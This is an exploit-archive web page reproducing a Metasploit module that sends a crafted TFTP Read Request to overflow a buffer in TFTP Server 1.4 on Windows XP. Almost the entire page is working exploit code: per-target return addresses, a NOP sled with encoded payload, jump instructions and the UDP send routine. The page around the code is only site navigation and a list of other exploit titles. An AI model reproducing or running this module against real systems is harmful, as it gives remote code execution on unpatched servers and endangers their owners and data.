首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TFTP Server 1.4 ST(RRQ) Buffer Overflow
来源:http://www.metasploit.com 作者:b33f 发布时间:2012-05-15  
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFTP server 1.4 ST(RRQ) Buffer overflow',
			'Description'    => %q{
						This exploit creats buffer overflow by sending a Read Request (RRQ) packet can also trigger a buffer overflow...  
			},
			'Author'         => 'JK and b33f',
			'Version'        => '',
			'References'     =>
				[
					['URL', 'http://securtyresearch.in/'],
					['URL','']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'TFTP server v1.4 Windows XP SP3',			{ 'Ret' => 0x00409605 } ],
					[ 'TFTP server v1.4 Windows XP SP0',			{ 'Ret' => 0x00418000 } ]
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 12 2012'))

		register_options([Opt::RPORT(69)], self.class)
	end

	def exploit
		connect_udp
		stage ="\x00\x01"
		stage << make_nops(50) + payload.encoded
		stage << rand_text_alpha(1487 - (payload.encoded.length+50))
		stage << "\xE9\x2E\xFA\xFF\xFF"
		stage << "\xEB\xF9\x90\x90"
		stage << [target.ret].pack('V')
		stage <<"\x00"
		stage << "netascii"
		stage << "\x00"
		
		#youlose = "\x00\x01" + filename + "\x00"		
		udp_sock.put(stage)
		disconnect_udp
	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Topics viewer v 2.3 csrf (Add
·Universal Reader 1.16.740.0 De
·NEC Backdoor Administrative Ac
·Multimedia Builder 4.9.8 Malic
·ABBS Media Player 3.1 Buffer O
·linux/x86 execve(/bin/dash) 42
·Firefox 8/9 AttributeChildRemo
·Linux/x86 - polymorphic espeak
·AnvSoft Any Video Converter 4.
·SkinCrafter ActiveX Control ve
·Distinct TFTP 3.01 Writable Di
·HP VSA Remote Command Executio
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved